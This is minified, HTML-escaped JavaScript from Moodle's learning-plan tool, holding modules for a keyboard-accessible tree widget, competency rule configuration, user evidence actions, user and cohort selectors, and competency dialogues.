define(&quot;tool_lp/tree&quot;,[&quot;jquery&quot;,&quot;core/url&quot;,&quot;core/log&quot;],(function($,url,log){var expandedImage=$(&#039;&lt;img alt=&quot;&quot; src=&quot;&#039;+url.imageUrl(&quot;t/expanded&quot;)+&#039;&quot;/&gt;&#039;),collapsedImage=$(&#039;&lt;img alt=&quot;&quot; src=&quot;&#039;+url.imageUrl(&quot;t/collapsed&quot;)+&#039;&quot;/&gt;&#039;),Tree=function(selector,multiSelect){this.treeRoot=$(selector),this.multiSelect=void 0===multiSelect||!0===multiSelect,this.items=this.treeRoot.find(&quot;li&quot;),this.expandAll=this.items.length&lt;20,this.parents=this.treeRoot.find(&quot;li:has(ul)&quot;),multiSelect&amp;&amp;this.treeRoot.attr(&quot;aria-multiselectable&quot;,&quot;true&quot;),this.items.attr(&quot;aria-selected&quot;,&quot;false&quot;),this.visibleItems=null,this.activeItem=null,this.lastActiveItem=null,this.keys={tab:9,enter:13,space:32,pageup:33,pagedown:34,end:35,home:36,left:37,up:38,right:39,down:40,eight:56,asterisk:106},this.init(),this.bindEventHandlers()};return Tree.prototype.init=function(){this.parents.attr(&quot;aria-expanded&quot;,&quot;true&quot;),this.parents.prepend(expandedImage.clone()),this.items.attr(&quot;role&quot;,&quot;tree-item&quot;),this.items.attr(&quot;tabindex&quot;,&quot;-1&quot;),this.parents.attr(&quot;role&quot;,&quot;group&quot;),this.treeRoot.attr(&quot;role&quot;,&quot;tree&quot;),this.visibleItems=this.treeRoot.find(&quot;li&quot;);var thisObj=this;this.expandAll||(this.parents.each((function(){thisObj.collapseGroup($(this))})),this.expandGroup(this.parents.first()))},Tree.prototype.expandGroup=function(item){item.children(&quot;ul&quot;).show().attr(&quot;aria-hidden&quot;,&quot;false&quot;),item.attr(&quot;aria-expanded&quot;,&quot;true&quot;),item.children(&quot;img&quot;).attr(&quot;src&quot;,expandedImage.attr(&quot;src&quot;)),this.visibleItems=this.treeRoot.find(&quot;li:visible&quot;)},Tree.prototype.collapseGroup=function(item){item.children(&quot;ul&quot;).hide().attr(&quot;aria-hidden&quot;,&quot;true&quot;),item.attr(&quot;aria-expanded&quot;,&quot;false&quot;),item.children(&quot;img&quot;).attr(&quot;src&quot;,collapsedImage.attr(&quot;src&quot;)),this.visibleItems=this.treeRoot.find(&quot;li:visible&quot;)},Tree.prototype.toggleGroup=function(item){&quot;true&quot;==item.attr(&quot;aria-expanded&quot;)?this.collapseGroup(item):this.expandGroup(item)},Tree.prototype.triggerChange=function(){var allSelected=this.items.filter(&quot;[aria-selected=true]&quot;);this.multiSelect||(allSelected=allSelected.first()),this.treeRoot.trigger(&quot;selectionchanged&quot;,{selected:allSelected})},Tree.prototype.multiSelectItem=function(item){if(this.multiSelect){if(null!==this.lastActiveItem){for(var lastIndex=this.visibleItems.index(this.lastActiveItem),currentIndex=this.visibleItems.index(this.activeItem);lastIndex&lt;currentIndex;)$(this.visibleItems.get(lastIndex)).attr(&quot;aria-selected&quot;,&quot;true&quot;),lastIndex++;for(;lastIndex&gt;currentIndex;)$(this.visibleItems.get(lastIndex)).attr(&quot;aria-selected&quot;,&quot;true&quot;),lastIndex--}}else this.items.attr(&quot;aria-selected&quot;,&quot;false&quot;);item.attr(&quot;aria-selected&quot;,&quot;true&quot;),this.triggerChange()},Tree.prototype.selectItem=function(item){for(var walk=item.parent();&quot;tree&quot;!=walk.attr(&quot;role&quot;);)&quot;false&quot;==(walk=walk.parent()).attr(&quot;aria-expanded&quot;)&amp;&amp;this.expandGroup(walk),walk=walk.parent();this.items.attr(&quot;aria-selected&quot;,&quot;false&quot;),item.attr(&quot;aria-selected&quot;,&quot;true&quot;),this.triggerChange()},Tree.prototype.toggleItem=function(item){if(this.multiSelect){var current=item.attr(&quot;aria-selected&quot;);current=&quot;true&quot;===current?&quot;false&quot;:&quot;true&quot;,item.attr(&quot;aria-selected&quot;,current),this.triggerChange()}else this.selectItem(item)},Tree.prototype.updateFocus=function(item){this.lastActiveItem=this.activeItem,this.activeItem=item;for(var walk=item.parent();&quot;tree&quot;!=walk.attr(&quot;role&quot;);)&quot;false&quot;==(walk=walk.parent()).attr(&quot;aria-expanded&quot;)&amp;&amp;this.expandGroup(walk),walk=walk.parent();this.items.attr(&quot;tabindex&quot;,&quot;-1&quot;),item.attr(&quot;tabindex&quot;,0)},Tree.prototype.handleKeyDown=function(item,e){var currentIndex=this.visibleItems.index(item),newItem=null,hasKeyModifier=e.shiftKey||e.ctrlKey||e.metaKey||e.altKey,thisObj=this;switch(e.keyCode){case this.keys.home:return(newItem=this.parents.first()).focus(),e.shiftKey?this.multiSelectItem(newItem):hasKeyModifier||this.selectItem(newItem),e.stopPropagation(),!1;case this.keys.end:return(newItem=this.visibleItems.last()).focus(),e.shiftKey?this.multiSelectItem(newItem):hasKeyModifier||this.selectItem(newItem),e.stopPropagation(),!1;case this.keys.enter:case this.keys.space:return e.shiftKey?this.multiSelectItem(item):e.metaKey||e.ctrlKey?this.toggleItem(item):this.selectItem(item),e.stopPropagation(),!1;case this.keys.left:if(item.has(&quot;ul&quot;)&amp;&amp;&quot;true&quot;==item.attr(&quot;aria-expanded&quot;))this.collapseGroup(item);else{var itemParent=item.parent().parent();itemParent.is(&quot;li&quot;)&amp;&amp;(itemParent.focus(),e.shiftKey?this.multiSelectItem(itemParent):hasKeyModifier||this.selectItem(itemParent))}return e.stopPropagation(),!1;case this.keys.right:return item.has(&quot;ul&quot;)&amp;&amp;&quot;false&quot;==item.attr(&quot;aria-expanded&quot;)?this.expandGroup(item):(newItem=item.children(&quot;ul&quot;).children(&quot;li&quot;).first()).length&gt;0&amp;&amp;(newItem.focus(),e.shiftKey?this.multiSelectItem(newItem):hasKeyModifier||this.selectItem(newItem)),e.stopPropagation(),!1;case this.keys.up:if(currentIndex&gt;0){var prev=this.visibleItems.eq(currentIndex-1);prev.focus(),e.shiftKey?this.multiSelectItem(prev):hasKeyModifier||this.selectItem(prev)}return e.stopPropagation(),!1;case this.keys.down:if(currentIndex&lt;this.visibleItems.length-1){var next=this.visibleItems.eq(currentIndex+1);next.focus(),e.shiftKey?this.multiSelectItem(next):hasKeyModifier||this.selectItem(next)}return e.stopPropagation(),!1;case this.keys.asterisk:return this.parents.each((function(){thisObj.expandGroup($(this))})),e.stopPropagation(),!1;case this.keys.eight:return e.shiftKey&amp;&amp;(this.parents.each((function(){thisObj.expandGroup($(this))})),e.stopPropagation()),!1}return!0},Tree.prototype.handleKeyPress=function(item,e){if(e.altKey||e.ctrlKey||e.shiftKey||e.metaKey)return!0;switch(e.keyCode){case this.keys.tab:return!0;case this.keys.enter:case this.keys.home:case this.keys.end:case this.keys.left:case this.keys.right:case this.keys.up:case this.keys.down:return e.stopPropagation(),!1;default:var chr=String.fromCharCode(e.which),match=!1,itemIndex=this.visibleItems.index(item),itemCount=this.visibleItems.length,currentIndex=itemIndex+1;for(currentIndex==itemCount&amp;&amp;(currentIndex=0);currentIndex!=itemIndex;){var currentItem=this.visibleItems.eq(currentIndex),titleChr=currentItem.text().charAt(0);if(currentItem.has(&quot;ul&quot;)&amp;&amp;(titleChr=currentItem.find(&quot;span&quot;).text().charAt(0)),titleChr.toLowerCase()==chr){match=!0;break}(currentIndex+=1)==itemCount&amp;&amp;(currentIndex=0)}return!0===match&amp;&amp;this.updateFocus(this.visibleItems.eq(currentIndex)),e.stopPropagation(),!1}return!0},Tree.prototype.on=function(eventname,handler){&quot;selectionchanged&quot;!==eventname?log.warning(&#039;Invalid custom event name for tree. Only &quot;selectionchanged&quot; is supported.&#039;):this.treeRoot.on(eventname,handler)},Tree.prototype.handleDblClick=function(item,e){return!!(e.altKey||e.ctrlKey||e.shiftKey||e.metaKey)||(this.updateFocus(item),this.toggleGroup(item),e.stopPropagation(),!1)},Tree.prototype.handleExpandCollapseClick=function(item,e){return this.toggleGroup(item),e.stopPropagation(),!1},Tree.prototype.handleClick=function(item,e){return e.shiftKey?this.multiSelectItem(item):e.metaKey||e.ctrlKey?this.toggleItem(item):this.selectItem(item),this.updateFocus(item),e.stopPropagation(),!1},Tree.prototype.handleBlur=function(){return!0},Tree.prototype.handleFocus=function(item){return this.updateFocus(item),!0},Tree.prototype.bindEventHandlers=function(){var thisObj=this;this.parents.dblclick((function(e){return thisObj.handleDblClick($(this),e)})),this.items.click((function(e){return thisObj.handleClick($(this),e)})),this.items.children(&quot;img&quot;).click((function(e){return thisObj.handleExpandCollapseClick($(this).parent(),e)})),this.items.keydown((function(e){return thisObj.handleKeyDown($(this),e)})),this.items.keypress((function(e){return thisObj.handleKeyPress($(this),e)})),this.items.focus((function(e){return thisObj.handleFocus($(this),e)})),this.items.blur((function(e){return thisObj.handleBlur($(this),e)}))},Tree}));
/**
 * Competency rule config.
 *
 * @module     tool_lp/competencyruleconfig
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencyruleconfig&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;tool_lp/dialogue&quot;,&quot;tool_lp/competency_outcomes&quot;,&quot;core/str&quot;],(function($,Notification,Templates,Dialogue,Outcomes,Str){var RuleConfig=function(tree,rulesModules){this._eventNode=$(&quot;&lt;div&gt;&lt;/div&gt;&quot;),this._tree=tree,this._rulesModules=rulesModules,this._setUp()};return RuleConfig.prototype._competency=null,RuleConfig.prototype._eventNode=null,RuleConfig.prototype._outcomesOption=null,RuleConfig.prototype._popup=null,RuleConfig.prototype._ready=null,RuleConfig.prototype._rules=null,RuleConfig.prototype._rulesModules=null,RuleConfig.prototype._tree=null,RuleConfig.prototype._afterChange=function(){this._isValid()?this._find(&#039;[data-action=&quot;save&quot;]&#039;).prop(&quot;disabled&quot;,!1):this._find(&#039;[data-action=&quot;save&quot;]&#039;).prop(&quot;disabled&quot;,!0)},RuleConfig.prototype._afterRuleConfigChange=function(e,rule){rule==this._getRule()&amp;&amp;this._afterChange()},RuleConfig.prototype._afterRender=function(){var self=this;self._find(&#039;[name=&quot;outcome&quot;]&#039;).on(&quot;change&quot;,(function(){self._switchedOutcome()})).trigger(&quot;change&quot;),self._find(&#039;[name=&quot;rule&quot;]&#039;).on(&quot;change&quot;,(function(){self._switchedRule()})).trigger(&quot;change&quot;),self._find(&#039;[data-action=&quot;save&quot;]&#039;).on(&quot;click&quot;,(function(){self._trigger(&quot;save&quot;,self._getConfig()),self.close()})),self._find(&#039;[data-action=&quot;cancel&quot;]&#039;).on(&quot;click&quot;,(function(){self.close()}))},RuleConfig.prototype.canBeConfigured=function(){var can=!1;return $.each(this._rules,(function(index,rule){rule.canConfig()&amp;&amp;(can=!0)})),can},RuleConfig.prototype.close=function(){this._popup.close(),this._popup=null},RuleConfig.prototype.display=function(){var self=this;return!!self._competency&amp;&amp;$.when(Str.get_string(&quot;competencyrule&quot;,&quot;tool_lp&quot;),self._render()).then((function(title,render){self._popup=new Dialogue(title,render[0],self._afterRender.bind(self),null,!1,&quot;515px&quot;)})).fail(Notification.exception)},RuleConfig.prototype._find=function(selector){return $(this._popup.getContent()).find(selector)},RuleConfig.prototype._getApplicableOutcomesOptions=function(){var self=this,options=[];return $.each(self._outcomesOption,(function(index,outcome){options.push({code:outcome.code,name:outcome.name,selected:outcome.code==self._competency.ruleoutcome})})),options},RuleConfig.prototype._getApplicableRulesOptions=function(){var self=this,options=[];return $.each(self._rules,(function(index,rule){rule.canConfig()&amp;&amp;options.push({name:self._getRuleName(rule.getType()),type:rule.getType(),selected:rule.getType()==self._competency.ruletype})})),options},RuleConfig.prototype._getConfig=function(){var rule=this._getRule();return{ruletype:rule?rule.getType():null,ruleconfig:rule?rule.getConfig():null,ruleoutcome:this._getOutcome()}},RuleConfig.prototype._getOutcome=function(){return this._find(&#039;[name=&quot;outcome&quot;]&#039;).val()},RuleConfig.prototype._getRule=function(){var result,type=this._find(&#039;[name=&quot;rule&quot;]&#039;).val();return $.each(this._rules,(function(index,rule){rule.getType()!=type||(result=rule)})),result},RuleConfig.prototype._getRuleName=function(type){var name;return $.each(this._rulesModules,(function(index,modInfo){modInfo.type!=type||(name=modInfo.name)})),name},RuleConfig.prototype._initOutcomes=function(){var self=this;return Outcomes.getAll().then((function(outcomes){self._outcomesOption=outcomes}))},RuleConfig.prototype._initRules=function(){var self=this,promises=[];return $.each(self._rules,(function(index,rule){var promise=rule.init().then((function(){rule.setTargetCompetency(self._competency),rule.on(&quot;change&quot;,self._afterRuleConfigChange.bind(self))}),(function(){return self._rules.splice(index,1),$.when()}));promises.push(promise)})),$.when.apply($.when,promises)},RuleConfig.prototype._isValid=function(){var outcome=this._getOutcome(),rule=this._getRule();return outcome==Outcomes.NONE||!!rule&amp;&amp;rule.isValid()},RuleConfig.prototype.on=function(type,handler){this._eventNode.on(type,handler)},RuleConfig.prototype._preRender=function(){return this.ready()},RuleConfig.prototype.ready=function(){return this._ready.promise()},RuleConfig.prototype._render=function(){var self=this;return this._preRender().then((function(){var config;self.canBeConfigured()?((config={}).outcomes=self._getApplicableOutcomesOptions(),config.rules=self._getApplicableRulesOptions()):config=!1;var context={competencyshortname:self._competency.shortname,config:config};return Templates.render(&quot;tool_lp/competency_rule_config&quot;,context)}))},RuleConfig.prototype.setTargetCompetencyId=function(competencyId){var self=this;self._competency=self._tree.getCompetency(competencyId),$.each(self._rules,(function(index,rule){rule.setTargetCompetency(self._competency)}))},RuleConfig.prototype._setUp=function(){var self=this,promises=[],modules=[];self._ready=$.Deferred(),self._rules=[],$.each(self._rulesModules,(function(index,rule){modules.push(rule.amd)})),require(modules,(function(){$.each(arguments,(function(index,Module){var rule=new Module(self._tree);self._rules.push(rule)})),promises.push(self._initRules()),promises.push(self._initOutcomes()),$.when.apply($.when,promises).always((function(){self._ready.resolve()}))}))},RuleConfig.prototype._switchedOutcome=function(){if(this._getOutcome()==Outcomes.NONE)return this._find(&#039;[data-region=&quot;rule-type&quot;]&#039;).hide().find(&#039;[name=&quot;rule&quot;]&#039;).val(-1),this._find(&#039;[data-region=&quot;rule-config&quot;]&#039;).empty().hide(),void this._afterChange();this._find(&#039;[data-region=&quot;rule-type&quot;]&#039;).show(),this._find(&#039;[data-region=&quot;rule-config&quot;]&#039;).show(),this._afterChange()},RuleConfig.prototype._switchedRule=function(){var self=this,container=self._find(&#039;[data-region=&quot;rule-config&quot;]&#039;),rule=self._getRule();if(!rule)return container.empty().hide(),void self._afterChange();rule.injectTemplate(container).then((function(){container.show()})).always((function(){self._afterChange()})).catch((function(){container.empty().hide()}))},RuleConfig.prototype._trigger=function(type,data){this._eventNode.trigger(type,[data])},RuleConfig}));
/**
 * User evidence actions.
 *
 * @module     tool_lp/user_evidence_actions
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/user_evidence_actions&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;tool_lp/menubar&quot;,&quot;tool_lp/competencypicker_user_plans&quot;],(function($,templates,ajax,notification,str,Menubar,PickerUserPlans){var UserEvidenceActions=function(type){if(this._type=type,&quot;evidence&quot;===type)this._region=&#039;[data-region=&quot;user-evidence-page&quot;]&#039;,this._evidenceNode=&#039;[data-region=&quot;user-evidence-page&quot;]&#039;,this._template=&quot;tool_lp/user_evidence_page&quot;,this._contextMethod=&quot;tool_lp_data_for_user_evidence_page&quot;;else{if(&quot;list&quot;!==type)throw new TypeError(&quot;Unexpected type.&quot;);this._region=&#039;[data-region=&quot;user-evidence-list&quot;]&#039;,this._evidenceNode=&#039;[data-region=&quot;user-evidence-node&quot;]&#039;,this._template=&quot;tool_lp/user_evidence_list_page&quot;,this._contextMethod=&quot;tool_lp_data_for_user_evidence_list_page&quot;}};return UserEvidenceActions.prototype._contextMethod=null,UserEvidenceActions.prototype._evidenceNode=null,UserEvidenceActions.prototype._region=null,UserEvidenceActions.prototype._template=null,UserEvidenceActions.prototype._type=null,UserEvidenceActions.prototype._getContextArgs=function(evidenceData){var args={};return&quot;evidence&quot;===this._type?args={id:evidenceData.id}:&quot;list&quot;===this._type&amp;&amp;(args={userid:evidenceData.userid}),args},UserEvidenceActions.prototype._renderView=function(context){var self=this;return templates.render(self._template,context).then((function(newhtml,newjs){templates.replaceNode($(self._region),newhtml,newjs)}))},UserEvidenceActions.prototype._callAndRefresh=function(calls,evidenceData){var self=this;return calls.push({methodname:self._contextMethod,args:self._getContextArgs(evidenceData)}),$.when.apply($.when,ajax.call(calls)).then((function(){return self._renderView(arguments[arguments.length-1])})).fail(notification.exception)},UserEvidenceActions.prototype._doDelete=function(evidenceData){var calls=[{methodname:&quot;core_competency_delete_user_evidence&quot;,args:{id:evidenceData.id}}];this._callAndRefresh(calls,evidenceData)},UserEvidenceActions.prototype.deleteEvidence=function(evidenceData){var self=this;ajax.call([{methodname:&quot;core_competency_read_user_evidence&quot;,args:{id:evidenceData.id}}])[0].done((function(evidence){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;deleteuserevidence&quot;,component:&quot;tool_lp&quot;,param:evidence.name},{key:&quot;delete&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){self._doDelete(evidenceData)}))})).fail(notification.exception)})).fail(notification.exception)},UserEvidenceActions.prototype._deleteEvidenceHandler=function(e){e.preventDefault();var data=this._findEvidenceData($(e.target));this.deleteEvidence(data)},UserEvidenceActions.prototype._doCreateUserEvidenceCompetency=function(evidenceData,competencyIds){var calls=[];$.each(competencyIds,(function(index,competencyId){calls.push({methodname:&quot;core_competency_create_user_evidence_competency&quot;,args:{userevidenceid:evidenceData.id,competencyid:competencyId}})})),this._callAndRefresh(calls,evidenceData)},UserEvidenceActions.prototype.createUserEvidenceCompetency=function(evidenceData){var self=this,picker=new PickerUserPlans(evidenceData.userid);picker.on(&quot;save&quot;,(function(e,data){var competencyIds=data.competencyIds;self._doCreateUserEvidenceCompetency(evidenceData,competencyIds,data.requestReview)})),picker.display()},UserEvidenceActions.prototype._createUserEvidenceCompetencyHandler=function(e){e.preventDefault();var data=this._findEvidenceData($(e.target));this.createUserEvidenceCompetency(data)},UserEvidenceActions.prototype._doDeleteUserEvidenceCompetency=function(evidenceData,competencyId){var calls=[];calls.push({methodname:&quot;core_competency_delete_user_evidence_competency&quot;,args:{userevidenceid:evidenceData.id,competencyid:competencyId}}),this._callAndRefresh(calls,evidenceData)},UserEvidenceActions.prototype.deleteUserEvidenceCompetency=function(evidenceData,competencyId){this._doDeleteUserEvidenceCompetency(evidenceData,competencyId)},UserEvidenceActions.prototype._deleteUserEvidenceCompetencyHandler=function(e){var data=this._findEvidenceData($(e.currentTarget)),competencyId=$(e.currentTarget).data(&quot;id&quot;);e.preventDefault(),this.deleteUserEvidenceCompetency(data,competencyId)},UserEvidenceActions.prototype._doReviewUserEvidenceCompetencies=function(evidenceData){var calls=[{methodname:&quot;core_competency_request_review_of_user_evidence_linked_competencies&quot;,args:{id:evidenceData.id}}];this._callAndRefresh(calls,evidenceData)},UserEvidenceActions.prototype.reviewUserEvidenceCompetencies=function(evidenceData){var self=this;ajax.call([{methodname:&quot;core_competency_read_user_evidence&quot;,args:{id:evidenceData.id}}])[0].done((function(evidence){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;sendallcompetenciestoreview&quot;,component:&quot;tool_lp&quot;,param:evidence.name},{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){self._doReviewUserEvidenceCompetencies(evidenceData)}))})).fail(notification.exception)})).fail(notification.exception)},UserEvidenceActions.prototype._reviewUserEvidenceCompetenciesHandler=function(e){e.preventDefault();var data=this._findEvidenceData($(e.target));this.reviewUserEvidenceCompetencies(data)},UserEvidenceActions.prototype._findEvidenceData=function(node){var data,parent=node.parentsUntil($(this._region).parent(),this._evidenceNode);if(1!=parent.length)throw new Error(&quot;The evidence node was not located.&quot;);if(void 0===(data=parent.data())||void 0===data.id)throw new Error(&quot;Evidence data could not be found.&quot;);return data},UserEvidenceActions.prototype.enhanceMenubar=function(selector){Menubar.enhance(selector,{&#039;[data-action=&quot;user-evidence-delete&quot;]&#039;:this._deleteEvidenceHandler.bind(this),&#039;[data-action=&quot;link-competency&quot;]&#039;:this._createUserEvidenceCompetencyHandler.bind(this),&#039;[data-action=&quot;send-competencies-review&quot;]&#039;:this._reviewUserEvidenceCompetenciesHandler.bind(this)})},UserEvidenceActions.prototype.registerEvents=function(){var wrapper=$(this._region);wrapper.find(&#039;[data-action=&quot;user-evidence-delete&quot;]&#039;).click(this._deleteEvidenceHandler.bind(this)),wrapper.find(&#039;[data-action=&quot;link-competency&quot;]&#039;).click(this._createUserEvidenceCompetencyHandler.bind(this)),wrapper.find(&#039;[data-action=&quot;delete-competency-link&quot;]&#039;).click(this._deleteUserEvidenceCompetencyHandler.bind(this)),wrapper.find(&#039;[data-action=&quot;send-competencies-review&quot;]&#039;).click(this._reviewUserEvidenceCompetenciesHandler.bind(this))},UserEvidenceActions}));
/**
 * User selector module.
 *
 * @module     tool_lp/form-user-selector
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/form-user-selector&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,Ajax,Templates){return{processResults:function(selector,results){var users=[];return $.each(results,(function(index,user){users.push({value:user.id,label:user._label})})),users},transport:function(selector,query,success,failure){var capability=$(selector).data(&quot;capability&quot;);void 0===capability&amp;&amp;(capability=&quot;&quot;),Ajax.call([{methodname:&quot;tool_lp_search_users&quot;,args:{query:query,capability:capability}}])[0].then((function(results){var promises=[],i=0;return $.each(results.users,(function(index,user){var ctx=user,identity=[];$.each([&quot;idnumber&quot;,&quot;email&quot;,&quot;phone1&quot;,&quot;phone2&quot;,&quot;department&quot;,&quot;institution&quot;],(function(i,k){void 0!==user[k]&amp;&amp;&quot;&quot;!==user[k]&amp;&amp;(ctx.hasidentity=!0,identity.push(user[k]))})),ctx.identity=identity.join(&quot;, &quot;),promises.push(Templates.render(&quot;tool_lp/form-user-selector-suggestion&quot;,ctx))})),$.when.apply($.when,promises).then((function(){var args=arguments;$.each(results.users,(function(index,user){user._label=args[i],i++})),success(results.users)}))})).catch(failure)}}}));
/**
 * Cohort selector module.
 *
 * @module     tool_lp/form-cohort-selector
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/form-cohort-selector&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,Ajax,Templates){return{processResults:function(selector,results){var cohorts=[];return $.each(results,(function(index,cohort){cohorts.push({value:cohort.id,label:cohort._label})})),cohorts},transport:function(selector,query,success,failure){var contextid=parseInt($(selector).data(&quot;contextid&quot;),10),includes=$(selector).data(&quot;includes&quot;);Ajax.call([{methodname:&quot;tool_lp_search_cohorts&quot;,args:{query:query,context:{contextid:contextid},includes:includes}}])[0].then((function(results){var promises=[],i=0;return $.each(results.cohorts,(function(index,cohort){promises.push(Templates.render(&quot;tool_lp/form-cohort-selector-suggestion&quot;,cohort))})),$.when.apply($.when,promises).then((function(){var args=arguments;$.each(results.cohorts,(function(index,cohort){cohort._label=args[i],i++})),success(results.cohorts)}))})).catch(failure)}}}));
/**
 * Module to open user competency plan in popup
 *
 * @module     tool_lp/user_competency_plan_popup
 * @copyright  2016 Issam Taboubi &lt;issam.taboubi@umontreal.ca&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/user_competency_plan_popup&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;tool_lp/dialogue&quot;],(function($,notification,str,ajax,templates,Dialogue){var UserCompetencyPopup=function(regionSelector,userCompetencySelector,planId){this._regionSelector=regionSelector,this._userCompetencySelector=userCompetencySelector,this._planId=planId,$(this._regionSelector).on(&quot;click&quot;,this._userCompetencySelector,this._handleClick.bind(this))};return UserCompetencyPopup.prototype._handleClick=function(e){e.preventDefault();var tr=$(e.target).closest(&quot;tr&quot;),competencyId=$(tr).data(&quot;competencyid&quot;),userId=$(tr).data(&quot;userid&quot;),planId=this._planId;ajax.call([{methodname:&quot;tool_lp_data_for_user_competency_summary_in_plan&quot;,args:{competencyid:competencyId,planid:planId},done:this._contextLoaded.bind(this),fail:notification.exception}])[0].then((function(result){var eventMethodName=&quot;core_competency_user_competency_viewed_in_plan&quot;;return result.plan.iscompleted&amp;&amp;(eventMethodName=&quot;core_competency_user_competency_plan_viewed&quot;),ajax.call([{methodname:eventMethodName,args:{competencyid:competencyId,userid:userId,planid:planId}}])[0]})).catch(notification.exception)},UserCompetencyPopup.prototype._contextLoaded=function(context){var self=this;templates.render(&quot;tool_lp/user_competency_summary_in_plan&quot;,context).done((function(html,js){str.get_string(&quot;usercompetencysummary&quot;,&quot;report_competency&quot;).done((function(title){new Dialogue(title,html,templates.runTemplateJS.bind(templates,js),self._refresh.bind(self),!0)})).fail(notification.exception)})).fail(notification.exception)},UserCompetencyPopup.prototype._refresh=function(){var planId=this._planId;ajax.call([{methodname:&quot;tool_lp_data_for_plan_page&quot;,args:{planid:planId},done:this._pageContextLoaded.bind(this),fail:notification.exception}])},UserCompetencyPopup.prototype._pageContextLoaded=function(context){var self=this;templates.render(&quot;tool_lp/plan_page&quot;,context).done((function(html,js){templates.replaceNode(self._regionSelector,html,js)})).fail(notification.exception)},UserCompetencyPopup.prototype._regionSelector=null,UserCompetencyPopup.prototype._userCompetencySelector=null,UserCompetencyPopup.prototype._planId=null,UserCompetencyPopup}));
/**
 * Display Competency in dialogue box.
 *
 * @module     tool_lp/Competencydialogue
 * @copyright  2015 Issam Taboubi &lt;issam.taboubi@umontreal.ca&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencydialogue&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;tool_lp/dialogue&quot;],(function($,notification,ajax,templates,str,Dialogue){var instance,Competencydialogue=function(){};return Competencydialogue.prototype.triggerCompetencyViewedEvent=function(competencyId){ajax.call([{methodname:&quot;core_competency_competency_viewed&quot;,args:{id:competencyId}}])},Competencydialogue.prototype.showDialogue=function(competencyid,options){var datapromise=this.getCompetencyDataPromise(competencyid,options),localthis=this;datapromise.done((function(data){templates.render(&quot;tool_lp/competency_summary&quot;,data).done((function(html){localthis.triggerCompetencyViewedEvent(competencyid),new Dialogue(data.competency.shortname,html)})).fail(notification.exception)})).fail(notification.exception)},Competencydialogue.prototype.showDialogueFromData=function(dataSource){var localthis=this;templates.render(&quot;tool_lp/competency_summary&quot;,dataSource).done((function(html){localthis.triggerCompetencyViewedEvent(dataSource.id),new Dialogue(dataSource.shortname,html,localthis.enhanceDialogue)})).fail(notification.exception)},Competencydialogue.prototype.clickEventHandler=function(e){var compdialogue=e.data.compdialogue,currentTarget=$(e.currentTarget),competencyid=currentTarget.data(&quot;id&quot;),includerelated=!currentTarget.data(&quot;excluderelated&quot;),includecourses=currentTarget.data(&quot;includecourses&quot;);compdialogue.showDialogue(competencyid,{includerelated:includerelated,includecourses:includecourses}),e.preventDefault()},Competencydialogue.prototype.getCompetencyDataPromise=function(competencyid,options){return ajax.call([{methodname:&quot;tool_lp_data_for_competency_summary&quot;,args:{competencyid:competencyid,includerelated:options.includerelated||!1,includecourses:options.includecourses||!1}}])[0].then((function(context){return context})).fail(notification.exception)},{init:function(){void 0===instance&amp;&amp;(instance=new Competencydialogue,$(&quot;body&quot;).delegate(&#039;[data-action=&quot;competency-dialogue&quot;]&#039;,&quot;click&quot;,{compdialogue:instance},instance.clickEventHandler.bind(instance)))}}}));
/**
 * Module to get the scale values.
 *
 * @module     tool_lp/scalevalues
 * @copyright  2016 Serge Gauthier
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/scalevalues&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;],(function($,ajax){var localCache=[];return{get_values:function(scaleid){var deferred=$.Deferred();return void 0===localCache[scaleid]?ajax.call([{methodname:&quot;core_competency_get_scale_values&quot;,args:{scaleid:scaleid},done:function(scaleinfo){localCache[scaleid]=scaleinfo,deferred.resolve(scaleinfo)},fail:deferred.reject}]):deferred.resolve(localCache[scaleid]),deferred.promise()}}}));
/**
 * Handle actions on learning plan templates via ajax.
 *
 * @module     tool_lp/templateactions
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
